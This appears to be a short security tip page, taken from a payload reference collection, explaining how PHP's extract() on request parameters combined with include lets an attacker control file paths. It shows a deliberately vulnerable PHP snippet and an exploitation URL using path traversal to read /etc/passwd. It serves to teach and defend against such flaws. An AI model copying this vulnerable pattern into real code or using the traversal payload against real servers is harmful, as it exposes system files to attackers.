External Variable Modification: Poisoning File Inclusion

OtherExploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

If extract() is combined with file inclusion, attackers can control file paths.

php
<?php
    $page = "config.php";
    extract($_GET);
    include "$page";
?>

Exploitation:

ps1
http://example.com/vuln.php?page=../../etc/passwd

Comments

No comments yet.